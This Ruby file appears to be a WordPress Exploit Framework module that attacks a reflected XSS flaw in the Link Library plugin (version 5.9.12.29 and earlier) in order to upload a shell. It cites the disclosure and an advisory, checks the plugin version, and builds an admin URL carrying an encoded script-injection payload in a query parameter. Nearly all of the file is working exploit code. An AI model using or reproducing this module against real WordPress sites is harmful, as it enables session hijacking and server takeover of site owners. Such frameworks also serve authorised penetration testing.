# frozen_string_literal: true

class Wpxf::Exploit::LinkLibraryReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Link Library <= 5.9.12.29 Reflected XSS Shell Upload',
      author: [
        'Burak Kelebek', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8604'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_link_library_wordpress_plugin.html']
      ],
      date: 'Aug 15 2016'
    )
  end

  def check
    check_plugin_version_from_changelog('link-library', 'readme.txt', '5.9.12.30')
  end

  def url_with_xss
    normalize_uri(
      wordpress_url_admin,
      "admin.php?page=link-library-settingssets&messages=9&successimportcount=1%22%2F%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E&currenttab=importexport"
    )
  end
end
